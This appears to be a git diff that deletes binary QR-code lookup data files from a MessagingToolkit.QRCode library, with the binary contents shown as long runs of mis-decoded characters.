((''&&%%DDCCBBAA``__^^]]mmllkkjjJJIIHHGG__^^]]\\{{zzyyxx``__^^]]==<;:987RRQQPPOOnnmmllkkhhiijjkkLLMMNNOO00112233##$$%%&&11223344$$##""!!@@??>>==\\[[ZZYYiihhggffFFEEDDCC[[ZZYYXXwwvvuutt\\[[ZZYY76655443NNMMLLKKjjiihhggllmmnnooPPQQRRSS44556677''(())**55667788 <<;;::99XXWWVVUUeeddccbbBBAA@@??WWVVUUTTssrrqqppSSRRQQPP3221100/JJIIHHGGffeeddccppqqrrssTTUUVVWW8899::;;++,,--..99::;;<< 88776655TTSSRRQQaa``__^^>>==<;:9SSRRQQPPoonnmmll~~}}||OONNMMLL/..--,,+FFEEDDCCbbaa``__~~}}||{{ttuuvvwwXXYYZZ[[<<==>>?? !!""##//001122==>>??@@!!""##$$44332211PPOONNMM]]\\[[ZZ87766554OONNMMLLkkjjiihh{{zzyyxxKKJJIIHH+**))(('BBAA@@??^^]]\\[[zzyyxxwwxxyyzz{{\\]]^^__@@AABBCC$$%%&&''33445566AABBCCDD%%&&''(( - - 00//..--LLKKJJIIYYSSRRQQ43322110KKJJIIHHggffeeddwwvvuuttGGFFEEDD'&&%%$$#>>==<<;;ZZYYXXWWvvuuttss||}}~~``aabbccDDEEFFGG(())**++77==>>??EEFFGGHH))**++,,  ,,++**))HHGGFFEEPPOONNMM0//..--,GGFFEEDDccbbaa``~~}}||ssrrqqppCCBBAA@@#""!! ::998877VVUUTTSSrrqqppooddeeffggHHIIJJKK,,--..//@@AABBCCIIJJKKLL--..//00 - - ((''&&%%DDCCBBAALLKKJJII,++**))(CCBBAA@@__^^]]\\{{zzyyxxoonnmmll??>>==7766554433RRQQPPOOnnmmllkkhhiijjkkLLMMNNOO00112233DDEEFFGGMMNNOOPP11223344$$##""!!@@??>>==HHGGFFEE(''&&%%$??>>==<<[[ZZYYXXwwvvuuttkkjjiihh66554433221100//NNMMLLKKjjiihhggllmmnnooPPQQRRSS44556677HHIIJJKKQQRRSSTT55667788 <<;;::99DDCCBBAA$##""!! ;;::9988WWVVUUTTssrrqqppggffeedd221100//..--,,++JJIIHHGGffeeddccppqqrrssTTUUVVWW8899::;;LLMMNNOOUUVVWWXX99::;;<< 88776655@@??>>==77665544SSRRQQPPoonnmmllccbbaa``..--,,++ **))((''FFEEDDCCbbaa``__~~}}||{{ttuuvvwwXXYYZZ[[<<==>>??PPQQRRSSYYZZ[[\\==>>??@@!!""##$$443322117766554433221100OONNMMLLkkjjiihh__^^]]\\**))(('' - - &&%%$$##BBAA@@??^^]]\\[[zzyyxxwwxxyyzz{{\\]]^^__@@AABBCCYYZZ[[\\]]^^__``AABBCCDD%%&&''(( - - 00//..--33221100//..--,,KKJJIIHHggffeedd[[ZZYYXX&&%%$$##""!! >>==<<;;ZZYYXXWWvvuuttss~~||}}~~``aabbccDDEEFFGG]]^^__``aabbccddEEFFGGHH))**++,,  ,,++**))//..--,,++**))((GGFFEEDDccbbaa``~~}}||WWVVUUTT""!!::998877VVUUTTSSrrqqppoo}}||{{zzddeeffggHHIIJJKKaabbccddeeffgghhIIJJKKLL--..//00 - - ((''&&%%++**))(( - -''&&%%$$CCBBAA@@__^^]]\\{{zzyyxxSSRRQQPP66554433RRQQPPOOnnmmllkkyyxxwwvvhhiijjkkLLMMNNOOeeffgghhiijjkkllMMNNOOPP11223344$$##""!!''&&%%$$ ##""!! ??>>==<<[[ZZYYXXwwvvuuttOONNMMLL - -221100//NNMMLLKKjjiihhgguutsrqpollmmnnooPPQQRRSSiijjkkllmmnnooppQQRRSSTT55667788 ##""!!;;::9988WWVVUUTTssrrqqppKKJJIIHH ..--,,++JJIIHHGGffeeddcconnmmllk~~ppqqrrssTTUUVVWWmmnnoouuqqrrssttUUVVWWXX99::;;<< 77665544SSRRQQPPoonnmmll~~}}||{{GGFFEEDD - - **))((''FFEEDDCCbbaa``__~~}}||{{kjjiihhg}}||{{zzttuuvvwwXXYYZZ[[vvwwxxyyuuvvwwxxYYZZ[[\\==>>??@@!!""##$$ 33221100OONNMMLLkkjjiihhzzyyxxwwCCBBAA@@  - - &&%%$$##BBAA@@??^^]]\\[[zzyyxxwwgffeeddcyyxxwwvvxxyyzz{{\\]]^^__zz{{||}}yyzz{{||]]^^__``AABBCCDD%%&&''(( - -  - - //..--,,KKJJIIHHggffeeddvvuuoonn??>>==<<""!! >>==<<;;ZZYYXXWWvvuuttsscbbaa``_uuttssrr||}}~~``aabbcc~~}}~~aabbccddEEFFGGHH))**++,,    ++**))((GGFFEEDDccbbaa``mmllkkjj;;::9988 - - ::998877VVUUTTSSrrqqppoo_^^]]\\[qqppoonnddeeffggeeffgghhIIJJKKLL--..//00 - - - -  - - ''&&%%$$CCBBAA@@__^^]]\\iihhggff77665544  !!""66554433RRQQPPOOnnmmllkk~~}}[ZZYYXWVmmllkkjjhhiijjkkiijjkkllMMNNOOPP11223344##""!! ??>>==<<[[ZZYYXXeeddccbb33221100##$$%%&& - -221100//NNMMLLKKjjiihhgg||{{zzyyUTSSRRQQiihhggffllmmnnoommnnooppQQRRSSTT55667788 - -;;::9988WWVVUUTTaa``__^^//..--,,''(())** ..--,,++JJIIHHGGffeeddccxxwwvvuuPPOONNMMeeddccbb~~ppqqrrssqqrrssttUUVVWWXX99::;;<<   !!77665544SSRRQQPP]]\\[[ZZ++**))((++,,--.. **))((''FFEEDDCCbbaa``__oonnmmllLLKKJJIIaa``__^^}}||{{zzttuuvvwwuuvvwwxxYYZZ[[\\==>>??@@!!""##$$""##$$%% 33221100OONNMMLLYYSSRRQQ''&&%%$$!!""##$$//001122 - - &&%%$$##BBAA@@??^^]]\\[[kkjjiihhHHGGFFEE]]\\[[ZZyyxxwwvvxxyyzz{{yyzz{{||]]^^__``AABBCCDD%%&&''(( - - &&''(()) - - //..--,,KKJJIIHHPPOONNMM##""!! %%&&''((33445566""!! >>==<<;;ZZYYXXWWggffeeddDDCCBBAAYYXXWWVVuuttssrr||}}~~}}~~aabbccddEEFFGGHH))**++,, **++,,-- ++**))((GGFFEEDDLLKKJJII))**++,,778899::::998877VVUUTTSSccbbaa``@@??>>==UUTTSSRRqqppoonneeffgghhIIJJKKLL--..//00!!""##..//0011 - - ''&&%%$$CCBBAA@@HHGGFFEE--..//00;;<<==>> !!""66554433RRQQPPOO__^^]]\\<;:98776QQPPOONNmmllkkjjiijjkkllMMNNOOPP11223344$$%%&&''22334455##""!! ??>>==<>==556677==CCDDEEFF''(())** ..--,,++JJIIHHGGRRQQPPOO21100//.IIHHGGFFeeddccbb~~qqrrssttUUVVWWXX99::;;<< ,,--..//::;;<<== !!7766554477665544 >>??@@AAGGHHIIJJ++,,--.. **))((''FFEEDDCCNNMMLLKK.--,,++*EEDDCCBBaa``__^^}}||{{zzuuvvwwxxYYZZ[[\\==>>??@@!!""##$$00112233>>??@@AA""##$$%% 3322110033221100 - - BBCCDDEEKKLLMMNN//001122 - - &&%%$$##BBAA@@??JJIIHHGG*))((''&AA@@??>>]]\\[[ZZyyxxwwvvyyzz{{||]]^^__``AABBCCDD%%&&''((44556677BBCCDDEE&&''(()) - - //..--,,//..--,, - - FFGGHHIIOOPPQQRR33445566""!! >>==<<;;FFEEDDCC&%%$$##"==<<;;::YYXXWWVVuuttssrr}}~~aabbccddEEFFGGHH))**++,,==>>??@@FFGGHHII**++,,-- ++**))((++**))((JJKKLLMMSSTTUUVV778899::::998877BBAA@@??"!! 99887766UUTTSSRRqqppoonneeffgghhIIJJKKLL--..//00AABBCCDDJJKKLLMM..//0011 - - ''&&%%$$''&&%%$$NNOOPPQQWWXXYYZZ;;<<==>> !!""66554433>>==776655443322QQPPOONNmmllkkjjiijjkkllMMNNOOPP11223344EEFFGGHHNNOOPPQQ22334455##""!! ##""!!RRSSYYZZ[[\\]]^^??@@AABB##$$%%&& - -221100//554433221100//..MMLLKKJJiihhggffmmnnooppQQRRSSTT55667788IIJJKKLLRRSSTTUU66778899[[\\]]^^__``aabbCCDDEEFF''(())** ..--,,++1100//..--,,++**IIHHGGFFeeddccbb~~qqrrssttUUVVWWXX99::;;<>??@@QQRRSSYYZZ[[\\]]>>??@@AA""##$$%% ""##$$%%ccddeeffgghhiijjKKLLMMNN//001122 - - &&%%$$##))((''&& - - %%$$##""AA@@??>>]]\\[[ZZyyxxwwvvyyzz{{||]]^^__``AABBCCDDZZ[[\\]]^^__``aaBBCCDDEE&&''(()) - -  &&''(())gghhiijjkkllmmnnOOPPQQRR33445566""!! %%$$##""!! ==<<;;::YYXXWWVVuuttssrr~~}}}}~~aabbccddEEFFGGHH^^__``aabbccddeeFFGGHHII**++,,-- - - - -**++,,--kkllmmnnooppqqrrSSTTUUVV778899::!!99887766UUTTSSRRqqppoonn||{{zzyyeeffgghhIIJJKKLLbbccddeeffgghhiiJJKKLLMM..//0011 - -  ..//0011oouuvvwwssttuuvvWWXXYYZZ;;<<==>> !!""55443322QQPPOONNmmllkkjjxxwwvvuuiijjkkllMMNNOOPPffgghhiijjkkllmmNNOOPPQQ2233445522334455xxyyzz{{wwxxyyzz[[\\]]^^??@@AABB##$$%%&& - - - - 1100//..MMLLKKJJiihhggfftsrqpoonmmnnooppQQRRSSTTjjkkllmmnnooppqqRRSSTTUU6677889966778899||}}~~{{||}}~~__``aabbCCDDEEFF''(())**  --,,++**IIHHGGFFeeddccbb~~nmmllkkj~~}}qqrrssttUUVVWWXXnnoouuvvrrssttuuVVWWXXYY::;;<<== !!::;;<<==ccddeeffGGHHIIJJ++,,--.. - -  - -))((''&&EEDDCCBBaa``__^^}}||{{zzjiihhggf||{{zzyyuuvvwwxxYYZZ[[\\wwxxyyzzvvwwxxyyZZ[[\\]]>>??@@AA""##$$%% !!""##>>??@@AAgghhiijjKKLLMMNN//001122 - -  %%$$##""AA@@??>>]]\\[[ZZyyxxwwvvfeeddccbxxwwvvuuyyzz{{||]]^^__``{{||}}~~zz{{||}}^^__``aaBBCCDDEE&&''(()) - - $$%%&&''BBCCDDEEkkllmmnnOOPPQQRR33445566!! ==<<;;::YYXXWWVVuuttssrrbaa``__^ttssrrqq}}~~aabbccdd~~bbccddeeFFGGHHII**++,,--(())**++FFGGHHIIooppqqrrSSTTUUVV778899:: - - 99887766UUTTSSRRqqppoonn^]]\\[[ZppoonnmmeeffgghhffgghhiiJJKKLLMM..//0011,,--..//JJKKLLMMssttuuvvWWXXYYZZ;;<<==>> !!""  !!""##55443322QQPPOONNmmllkkjj~~}}||ZYYXWVUTllkkjjiiiijjkklljjkkllmmNNOOPPQQ2233445500112233NNOOPPQQwwxxyyzz[[\\]]^^??@@AABB##$$%%&& - -$$%%&&'' - - 1100//..MMLLKKJJiihhggff{{zzyyxxSSRRQQPPhhggffeemmnnooppnnooppqqRRSSTTUU6677889944556677RRSSTTUU{{||}}~~__``aabbCCDDEEFF''(())** (())**++ --,,++**IIHHGGFFeeddccbbwwvvuuooOONNMMLLddccbbaa~~}}qqrrssttrrssttuuVVWWXXYY::;;<<== !!==>>??@@VVWWXXYYccddeeffGGHHIIJJ++,,--..!!,,--..// - -))((''&&EEDDCCBBaa``__^^nnmmllkkKKJJIIHH``__^^]]||{{zzyyuuvvwwxxvvwwxxyyZZ[[\\]]>>??@@AA""##$$%%AABBCCDDZZ[[\\]]gghhiijjKKLLMMNN//001122""##$$%%00112233 %%$$##""AA@@??>>]]\\[[ZZjjiihhggGGFFEEDD\\[[ZZYYxxwwvvuuyyzz{{||zz{{||}}^^__``aaBBCCDDEE&&''(())EEFFGGHH^^__``aakkllmmnnOOPPQQRR33445566&&''(())44556677!! ==<<;;::YYXXWWVVffeeddccCCBBAA@@XXWWVVUUttssrrqq}}~~~~bbccddeeFFGGHHII**++,,--IIJJKKLLbbccddeeooppqqrrSSTTUUVV778899::**++,,--8899::;;99887766UUTTSSRRbbaa``__??>>==<;TTSSRRQQppoonnmmffgghhiiJJKKLLMM..//0011MMNNOOPPffgghhiissttuuvvWWXXYYZZ;;<<==>> !!""..//0011<<==>>?? !!""##55443322QQPPOONN^^]]\\[[:9877665PPOONNMMllkkjjiijjkkllmmNNOOPPQQ22334455QQRRSSYYjjkkllmmwwxxyyzz[[\\]]^^??@@AABB##$$%%&&22334455@@AABBCC$$%%&&'' - - 1100//..MMLLKKJJZZYYSSRR54433221LLKKJJIIhhggffeennooppqqRRSSTTUU66778899ZZ[[\\]]nnooppqq{{||}}~~__``aabbCCDDEEFF''(())**6677==>>DDEEFFGG(())**++ --,,++**IIHHGGFFQQPPOONN100//..-HHGGFFEEddccbbaa~~}}rrssttuuVVWWXXYY::;;<<==^^__``aarrssttuuccddeeffGGHHIIJJ++,,--..??@@AABBHHIIJJKK,,--..// - -))((''&&EEDDCCBBMMLLKKJJ-,,++**)DDCCBBAA``__^^]]||{{zzyyvvwwxxyyZZ[[\\]]>>??@@AAbbccddeevvwwxxyygghhiijjKKLLMMNN//001122CCDDEEFFLLMMNNOO00112233 %%$$##""AA@@??>>IIHHGGFF)((''&&%@@??>>==\\[[ZZYYxxwwvvuuzz{{||}}^^__``aaBBCCDDEEffgghhiizz{{||}}kkllmmnnOOPPQQRR33445566GGHHIIJJPPQQRRSS44556677!! ==<<;;::EEDDCCBB%$$##""!<<;;::99XXWWVVUUttssrrqq~~bbccddeeFFGGHHIIjjkkllmm~~ooppqqrrSSTTUUVV778899::KKLLMMNNTTUUVVWW8899::;;99887766AA@@??>>! 88776655TTSSRRQQppoonnmmffgghhiiJJKKLLMMnnoouuvvssttuuvvWWXXYYZZ;;<<==>>OOPPQQRRXXYYZZ[[<<==>>?? !!""##55443322==77665544332211PPOONNMMllkkjjiijjkkllmmNNOOPPQQwwxxyyzzwwxxyyzz[[\\]]^^??@@AABBSSYYZZ[[\\]]^^__@@AABBCC$$%%&&'' - - 1100//..4433221100//..--LLKKJJIIhhggffeennooppqqRRSSTTUU{{||}}~~{{||}}~~__``aabbCCDDEEFF\\]]^^__``aabbccDDEEFFGG(())**++ --,,++**00//..--,,++**))HHGGFFEEddccbbaa~~}}rrssttuuVVWWXXYY~~}}||{{ccddeeffGGHHIIJJ``aabbccddeeffggHHIIJJKK,,--..// - -))((''&&,,++**)) ((''&&%%DDCCBBAA``__^^]]||{{zzyyvvwwxxyyZZ[[\\]]zzyyxxwwgghhiijjKKLLMMNNddeeffgghhiijjkkLLMMNNOO00112233 %%$$##""((''&&%% - - $$##""!!@@??>>==\\[[ZZYYxxwwvvuuzz{{||}}^^__``aavvuutsrqkkllmmnnOOPPQQRRhhiijjkkllmmnnooPPQQRRSS44556677!! $$##""!! <<;;::99XXWWVVUUttssrrqq~~}}||~~bbccddeepoonnmmlooppqqrrSSTTUUVVllmmnnooppqqrrssTTUUVVWW8899::;;88776655TTSSRRQQppoonnmm{{zzyyxxffgghhiilkkjjiih~~}}||{{ssttuuvvWWXXYYZZuuvvwwxxttuuvvwwXXYYZZ[[<<==>>?? !!""##44332211PPOONNMMllkkjjiiwwvvuutsjjkkllmmZHAb|ZdQbltbr˂pfpvp˂rH~ftlJp˂rvXnlJtA˂rXQ~f`lJtApvnے`JXQtlJdQZ|ZHAbnXv`XQJ`ے`vXntArdXQJ`ےvpfHrd|J`ےvXnrd|Xv`fr˂ptArddrtAJے`JXQf~HbHAZvpf|ZdQbbHAZ~f`ZdQbtbHAZpvpfHZdQbtHfpZHAbf~Hltbr˂pfpvp˂rH~ftlJp˂rvXnlJtA˂rXQ~f`lJtAvnrے`JXQXv`fdQZ|ZHAbnXv`XQJ`ے`vXntArdXQJ`ےvp`vrd|J`ےvXnrd|XQJ`ےr˂p~HfrAJltے`JXQf~HbHAZvpf|ZdQbbHAZXnvZdQbtbHAZpvpfHZdQbtHAZpZHAbpvnbdQZ|r˂pfpvdrtAH~ftlJp˂rpfH~lJtA˂rXQ~f`lJtA˂rXQے`JXQXv`fdrtZHAbnXv`Jlt`vXntArdXQJ`ےf`vrd|J`ےvXnrd|J`ےr˂p~HfAJltے`JXQf~HbdQZ|vpf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ArdrXQJ`f`vXlJtAdnXvdQZ|JtAdnXv`JltZHAbnXv`Jlt`JXQrXv`fltbHAbےrd|J`ےvXnˁ`ZQXbAdZ|--------------------............................................................. \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_3.dat deleted file mode 100644 index 03defc8..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_3.dat +++ /dev/null @@ -1,353 +0,0 @@ -~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopoolklklklkjijijijifefefefe~}~}~}~}zyzyzyzyxwxwxwvutstststsoooopopolklklklkjijijijifefefefe~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefe~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefe~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefe~}~}~}|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutstststspooooooplklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutstststsopopopoplklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutstststsopopopoplklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutstststsopopopoplklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutstststsopopopoplklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutstststsopopopoplklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvutsrqrqrqopopoooolklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqoopopopolklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklkjijijijifefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklkjijihghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqoooopopolklklklkhghghghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpoponmnmlklklklkhghghghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe|{|{|{|{zyzyzyxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgfefedcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklkjijihghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwvuvuvutsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcdcdcdcdc~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcdcdcbaba~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqponmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}|{|{|{zyxwxwxwxwtstststspopopooonmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsooopopopnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopopnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopopnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopopnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopopnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopopnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsooooooponmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghgfefedcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijifefefefedcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststspopooooonmnmnmnmjijijijifefefefedcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopopnmnmnmnmjijijijifefefefedcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopopnmnmlklkjijijijifefefefedcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopoplklklklkjijijijifefefefedcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopoplklklklkjijijijifefefefedcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsopopopoplklklklkjijijijifefefefedcdcdcdcbabababababababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;787777774343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSSSSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787774343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;777878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWTSSSSSSTRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;:9787878784343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTRQPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:9777777874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSSSSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - babababa^]^]^]^]\[\[ZYZYXWXWXWXWSSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987877777434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - 